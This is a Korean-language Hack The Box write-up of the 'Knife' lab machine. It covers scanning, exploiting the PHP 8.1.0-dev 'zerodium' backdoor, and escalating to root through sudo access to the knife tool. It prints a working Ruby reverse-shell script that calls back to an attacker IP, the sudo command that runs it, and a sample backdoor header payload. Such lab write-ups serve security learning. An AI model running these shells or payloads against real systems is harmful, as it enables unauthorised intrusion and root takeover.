Hack The Box - Knife

Hack the box Knife machine

By Hong

nmap

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 02:26 EDT
Nmap scan report for 10.10.10.242
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.57 seconds

웹서버

curl -I $IP

HTTP/1.1 200 OK
Date: Fri, 30 May 2025 00:38:54 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

php의 버전을 확인.

혹시 취약점이 있는지 구글링.

poc를 발견했다.

poc를 실행하면 james의 쉘이 연결된다.

james

권한상승

james의 홈 디렉토리에 ssh폴더 확인. authorized_keys 파일을 생성 후 public key를 추가해서 ssh로 다시 연결.

sudo -l

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

knife라는 서비스를 sudo 권한으로 사용할 수 있다.

매뉴얼을 살펴보니 knife의 명령어중에 exec라는 명령어를 발견했다.

https://docs.chef.io/workstation/knife_exec/

위의 커맨드로 루비 스크립트를 실행할 수 있다고 한다.

exec

루비로 리버스쉘을 작성 후 knife로 실행하기로 했다.

#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337 

require 'socket'

s = Socket.new 2,1
s.connect Socket.sockaddr_in 5555, '10.10.14.5'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'

작성 후 아래의 커맨드를 실행하면 root로 연결됐다.

sudo /usr/bin/knife exec /home/james/rev.rb

root

나중에 알았지만 gtfo bin에도 knife의 sudo가 있기 때문에 더 간단히 root 쉘을 얻는 방법도 있다.

취약점

백도어 코드

이 취약점의 문제는 백도어 코드가 적혀있었다는 것이다.

poc

이미지를 보면 zerodium 문자열로 시작할 경우 8글자 뒤 부터 입력되는 코드를 실행하는 함수가 적혀있다.

위의 코드대로라면 아래의 명령어처럼 시스템 명령어를 입력하는게 가능하다.

User-Agentt: zerodiumsysytem(“ls”);

악의적으로 삽입된 백도어 코드였다고 하는데 다행히 금방 발견되서 문제없던 코드로 리버트 됐다고 한다.

eval() 함수의 위험성을 다시 배울 수 있었다.

참고자료

  • https://amsghimire.medium.com/php-8-1-0-dev-backdoor-cb224e7f5914
  • https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
  • https://news-web.php.net/php.internals/113838
Share: X (Twitter) Facebook LinkedIn